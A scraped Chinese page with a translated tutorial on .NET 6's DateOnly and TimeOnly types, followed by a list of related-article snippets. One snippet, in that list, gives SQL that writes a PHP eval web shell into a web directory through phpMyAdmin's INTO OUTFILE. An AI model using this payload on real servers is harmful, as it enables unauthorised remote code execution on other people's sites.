在 .NET 6 中使用 DATEONLY 和 TIMEONLY

在 .NET 6 中使用 DATEONLY 和 TIMEONLY

在 即将发布的.NET 6中,引入了两种期待已久的类型作为核心库的一部分。DateOnlyTimeOnly允许开发人员表示 DateTime 的日期或时间部分。这两种新类型是结构体(值类型),可以在您的代码独立处理日期或时间概念时使用。这两种类型都可以在 System 命名空间中找到。使用这些新类型可能与数据库允许表示类似数据的方式很好地保持一致。具体来说,这些类型与 SQL Server 日期和时间数据类型非常吻合。

注意:要访问这些类型,您需要下载并安装 .NET 6 预览版 4[1](或更新版本)和Visual Studio 16.11(当前处于预览版)[2]

在 .NET 6 中使用 DATEONLY

这些类型对于它们所代表的内容几乎是不言自明的。当我们需要表示没有时间组件的日期时,我们可以使用 DateOnly。例如,也许我们在应用程序中代表某人的出生日期。在这种情况下,我们很少需要使用 DateTime 的时间部分,标准的解决方案是将时间设置为 00:00:00.000。使用 DateOnly,我们可以更明确地说明我们的意图。

我们可以在 DateOnly 上构造一个实例,将年、月和日作为参数传递:

var date = new DateOnly(2020, 04, 20);

这将创建一个表示 2020 年 4 月 20 日的 DateOnly。在内部,DateOnly 结构使用一个整数来跟踪有效范围为 0(映射到 0001 年 1 月 1 日到 3,652,058,映射到 9999 年 12 月 31 日)的日数。

通常,您将开始使用现有的 DateTime 并希望从中创建一个 DateOnly 实例。为此,我们可以调用 FromDateTime 方法:

var currentDate = DateOnly.FromDateTime(DateTime.Now);

与现有的 DateTime 类型一样,我们也可以使用 Parse 将表示日期的字符串解析为其 DateOnly 表示,这可能会引发异常或 TryParse,它返回一个指示成功或失败的布尔值。

if (DateOnly.TryParse("28/09/1984", new CultureInfo("en-GB"), DateTimeStyles.None, out var result))
{Console.WriteLine(result);
}

上面的代码尝试从第一个参数(日期的字符串表示)解析日期。由于不同的国家和地区对日期的解释不同,因此日期的解析可能会受到文化的影响。在此示例中,我明确提供了 en-GB 区域性以确保它使用日/月/年格式从字符串中正确解析。

如果 DateOnly 已成功解析,则将其写入控制台。再次; 文化在这里扮演着重要的角色。在此示例中,正在运行的线程的当前区域性用于确定所使用的格式。根据我的系统配置,我的应用程序线程恰好在 en-GB 下运行,因此格式化的字符串显示为:

28/09/1984

要了解有关解析和格式化的更多信息,您可以查看我最新的 Pluralsight 课程,C# 中的字符串操作:最佳实践[3]

我们还可以向 DateOnly 实例添加天数、月数或年数,从而产生具有调整日期的新实例。

var newDate = date.AddDays(1).AddMonths(1).AddYears(1);

在 .NET 6 中使用 TIMEONLY

TimeOnly 结构体用于表示与日期无关的时间。例如,想象一下创建一个闹钟应用程序,让用户创建一个重复发生的闹钟。在这种情况下,我们想要存储闹钟应该响起的时间,但日期无关紧要。

TimeOnly 类型有几个构造函数重载。我希望大多数开发人员使用的更常见的允许我们创建一个日期,接受时间的小时和分钟,小时,分钟和秒,或小时,分钟,秒和毫秒。

public TimeOnly(int hour, int minute)
public TimeOnly(int hour, int minute, int second)
public TimeOnly(int hour, int minute, int second, int millisecond)

例如,要表示上午 10:30,我们可以创建以下 TimeOnly 实例。

var startTime = new TimeOnly(10, 30);

小时部分预计将使用 24 小时时钟格式提供,其中 1pm 是 13 小时。

在内部,TimeOnly 存储一个 long,它表示从午夜到定义的时间已经过去的滴答数(100 纳秒间隔)。例如,凌晨 1 点是一天中的 1 小时,因此自午夜 (00:00:00.0000000) 起有 36,000,000,000 个滴答声。尽管我们也可以通过提供刻度作为参数来构造 TimeOnly,但此实现细节对于一般用途而言并非必不可少。

public TimeOnly(long ticks);

在上面定义了开始时间后,让我们使用另一个 TimeOnly 实例定义下午 5 点的结束时间。

var endTime = new TimeOnly(17, 00, 00);

我们现在可以对这些 TimeOnly 实例执行数学运算,例如计算差异。

var diff = endTime - startTime;

此操作的返回类型是 TimeSpan,然后我们可以使用它来写入两次之间的小时数。

Console.WriteLine($"Hours: {diff.TotalHours}");// Output = Hours: 6.5

我们可以执行的另一个检查是确定特定的 TimeOnly 是否在时间窗口内。例如,假设我们要检查当前时间是否在我们已经定义的开始时间和结束时间之间。与 DateOnly 一样,我们可以使用 FromDateTime 静态方法将现有 DateTime 转换为 TimeOnly。

var currentTime = TimeOnly.FromDateTime(DateTime.Now);var isBetween = currentTime.IsBetween(startTime, endTime);Console.WriteLine($"Current time {(isBetween ? "is" : "is not")} between start and end");

上面的代码现在将写入控制台当前时间是否介于 10:30(上午 10:30)和 17:00(下午 5 点)之间。

IsBetween 方法接受正常范围(例如我们在前面的示例中使用的范围)以及跨越午夜的范围(例如 22:00-02:00)。

var startTime = new TimeOnly(22, 00);var endTime = new TimeOnly(02, 00);var now = new TimeOnly(23, 25);  var isBetween = now.IsBetween(startTime, endTime);Console.WriteLine($"Current time {(isBetween ? "is" : "is not")} between start and end"); // Output = Current time is between start and end

TimeOnly 还包括使用循环时钟比较时间的运算符。

var startTime = new TimeOnly(08, 00);var endTime = new TimeOnly(09, 00);  Console.WriteLine($"{startTime < endTime}");// Output = True

此代码检查上午 8 点是否早于上午 9 点,这显然是!

概括

我们对这两种新类型的早期研究到此结束,这两种类型已经在 .NET 6 预览版 4 中出现。我觉得值得强调这些类型的存在,因为当我们习惯于默认为 DateTime/DateTimeOffset 时,这些更改很容易错过在过去。如果您的数据需要独立表示日期或时间,那么 DateOnly 和 TimeOnly 值得考虑用于面向 .NET 6 的新应用程序。

References

[1] 安装 .NET 6 预览版 4: https://dotnet.microsoft.com/download/dotnet/6.0?WT.mc_id=DT-MVP-5002866
[2] Visual Studio 16.11(当前处于预览版): https://visualstudio.microsoft.com/vs/preview/?WT.mc_id=DT-MVP-5002866
[3] C# 中的字符串操作:最佳实践: https://www.stevejgordon.co.uk/pluralsight.pxf.io/EaEV1P

1888e09d5253fdf2d2bf0f5d594b7a8c.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/298043.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue 3.0 正式版_Vuejs 3 Release:One Piece. Vuejs 3.0 正式版发布!代号:海贼王

Vuejs 3.0 在北京时间2020年9月19日凌晨&#xff0c;终于发布了 3.0 版本&#xff0c;代号&#xff1a;One Piece。此次vue3.0 为用户提供了全新的 composition-api 以及更小的包大小&#xff0c;和更好的 TypeScript 支持。Vue3.0发布链接​github.comVue 是当前非常流行的框架…

i-doIT 0.9.9-7发布 CMDB配置管理数据库

i-doIT是一个基于ITIL技术的CMDB&#xff08;配置管理数据库&#xff09;。它能够记载IT系统及其变化&#xff0c;对变化定义了应急方案&#xff0c;以及显示重要信息&#xff0c;并有助于确保一个稳定和高效的IT网络运作。由于其模块化的架构&#xff0c;它可以部署功能性的附…

Linux IPC实践(6) --System V消息队列(3)

消息队列综合案例 消息队列实现回射客户/服务器 server进程接收时, 指定msgtyp为0, 从队首不断接收消息 server进程发送时, 将mtype指定为接收到的client进程的pid client进程发送的时候, mtype指定为自己进程的pid client进程接收时, 需要将msgtyp指定为自己进程的pid, 只接收…

centos 新装mysql 进入,centos5安装 mysql 提示需要用户及密码进入?Duplicate entry 'localhost-' for key 1...

需要用户名及密码&#xff0c;可是新安装的mysql是没有密码的&#xff0c;这是为什么&#xff1f;今天帮朋友试验了一把解决了这个问题&#xff1a;导致这个错误的原因&#xff1a;因为安装系统时设置了hostname为localhost导致mysql在创建表的时候没有创建成功。因此mysql库中…

100斤的铁和100斤女生哪个重?

1 你是不是有别的猫了&#xff1f;-2 兔兔这么可爱我们沾点孜然再吃会更香3 解压的最好方式4 人不如猫系列5 这演技没sei了&#xff01;&#xff01;&#xff01;6 100斤的铁和100斤女生哪个重&#xff1f;7 如果只能选一个&#xff0c;你会选什么你点的每个赞&#xff…

JailbreakMe.com-最新浏览器模式破解iPhones,iPads和iPod Touches方法

一位***建立了该网站(JailbreakMe.com)&#xff0c;可以通过浏览器登录的形式破解几乎所有的iOS&#xff0c;这包括了iPhone,iPad,和iPod Touch&#xff0c;将解除Apple对这些设备的软件限制。 用户如果想尝试未经授权的app或者想在多个不同国家使用这些设备&#xff0c;都可以…

localStorage、sessionStorage用法总结

localStorage和sessionStorage一样都是用来存储客户端临时信息的对象。 他们均只能存储字符串类型的对象&#xff08;虽然规范中可以存储其他原生类型的对象&#xff0c;但是目前为止没有浏览器对其进行实现&#xff09;。 localStorage生命周期是永久&#xff0c;这意味着除…

谷歌开源3D舞蹈生成模型FACT,舞姿清奇!

文 | 御坂弟弟出品 | OSC开源社区&#xff08;ID&#xff1a;oschina2013&#xff09;谷歌开源了其基于 AIST 的 3D 舞蹈生成模型 FACT。该模型不仅可以学习音乐-运动对应关系&#xff0c;还可以生成以音乐为基础的 3D 运动序列。此前&#xff0c;谷歌层发布了大规模的多模态 3…

vue click事件_vue指令用法

vue指令指令式带有 v- 前缀的特殊特性v-text和v-html都属于指令将数据和dom做关联&#xff0c;当表达式的值改变时&#xff0c;响应式地作用在视图解决大胡子语法闪烁案例[v-cloak] {dispaly: none; }一般把v-cloak绑在Vue实例el属性绑定的节点上<!DOCTYPE html> <htm…

android 游戏 重力

引用&#xff1a;http://d-android.com/developer/thread-4539-1-1.html 在重力传感器中&#xff0c;虽然我也实现了一个圆形会根据手机反转的角度而拥有不同的速度,但是其内置加速度算法都是Android os封装好的&#xff0c;而今天我们要讲的重力系统就是去模拟这个加速度&…

冒泡排序c java c,冒泡排序,c语言冒泡排序法代码

冒泡排序&#xff0c;c语言冒泡排序法代码冒泡排序冒泡排序(Bubble Sort)&#xff0c;是一种计算机科学领域的较简单的排序算法。它重复地走访过要排序的元素列&#xff0c;依次比较两个相邻的元素&#xff0c;如果顺序(如从大到小、首字母从Z到A)错误就把他们交换过来。走访元…

男人从小到大的梦想

1 哪个男孩子不想拥有挖掘机呢2 竟然还有这种操作&#xff1f;&#xff1f;&#xff1f;3 这难道是传说中的好冷鸭 哈哈哈4 这些。。都是我的吗&#xff1f;&#xff1f;&#xff01;&#xff01;5 流浪的小可爱被收养之后&#xff0c;终于可以睡个安稳觉了&#xff01;6 好好的…

Oralce函数

日期函数--增加一天select sysdate INTERVAL 1 DAY from dual;--增加1小时SELECT sysdate INTERVAL 1 HOUR from dual;--增加1分钟SELECT sysdate INTERVAL 1 MINUTE from dual;--增加1秒钟SELECT sysdate INTERVAL 1 SECOND from dual; 转载于:https://www.cnblogs.com/ji…

10个人里有几个大学生?

大家好&#xff0c;我是Z哥。昨天看了一份报告&#xff0c;感触特别深&#xff0c;想随便聊几句。留给未来作为父亲时的自己。前几天教育部发布了 2020 年的《教育发展统计公报》&#xff0c;看着里面的一张张图表&#xff0c;不由得感叹一句&#xff0c;“读书这事真的是快内卷…

win2003无法进入桌面_救急,如何通过命令行备份桌面重要文件?

今天要说的问题&#xff0c;日常使用中还蛮常见的&#xff0c;比如出现紧急:近期系统更新后进不了系统的一定要看!中类似的情况。对于具有U盘启动盘的朋友们来说&#xff0c;这不是事&#xff0c;因为我们可以通过U盘启动进PE来备份数据&#xff0c;但是日常中&#xff0c;大部…

IE9浏览Flash页面时显示错位并不停地闪烁

之前&#xff0c;在一次开机进入系统后&#xff0c;弹出Flash Player安装新版本的窗口&#xff0c;我验证了是Adobe的数字签名后就执行了安装操作。 后来在使用IE9浏览带有Flash元素的页面时&#xff0c;其Flash元素显示都错位了&#xff0c;并跑到网页的左上角了&#xff0c;其…

在phpmyadmin后台获取webshell方法汇总整理

方法一&#xff1a;CREATE TABLE mysql.xiaoma (xiaoma1 TEXT NOT NULL );INSERT INTO mysql.xiaoma (xiaoma1 )VALUES (<?php eval($_POST[xiaoma])?>);SELECT xiaomaFROM study INTO OUTFILE E:/wamp/www/7.php;----以上同一时候运行&#xff0c;在数据库: mysql 下创…

matlab一维插值extrap,matlab二维插值

介绍griddata及interp2算法matlab二维插值--interp2与griddata from:matlab功能强大&#xff0c;以至于不知道他不能做什么&#xff0c;只是怨自己没有找到相应的函数。 二者均是常用的二维差值方法&#xff0c;两者的区别是&#xff0c;interp2的插值数据必须是矩形域&#xf…

操作系统概念 ppt_智能家居操作系统三国拉锯,要出结果了吗?

海尔、百度、华为盘踞的智能家居操作系统&#xff0c;谁拿下传统家电企业了&#xff1f;文/郭锴来源/智能相对论(aixdlun)福特曾说&#xff0c;如果你问消费者他们想要什么&#xff0c;得到的答案只会是一匹更快的马。汽车大王福特给消费者了汽车&#xff0c;手机教父乔布斯拿出…

垃圾站

http://www.heiqu.com/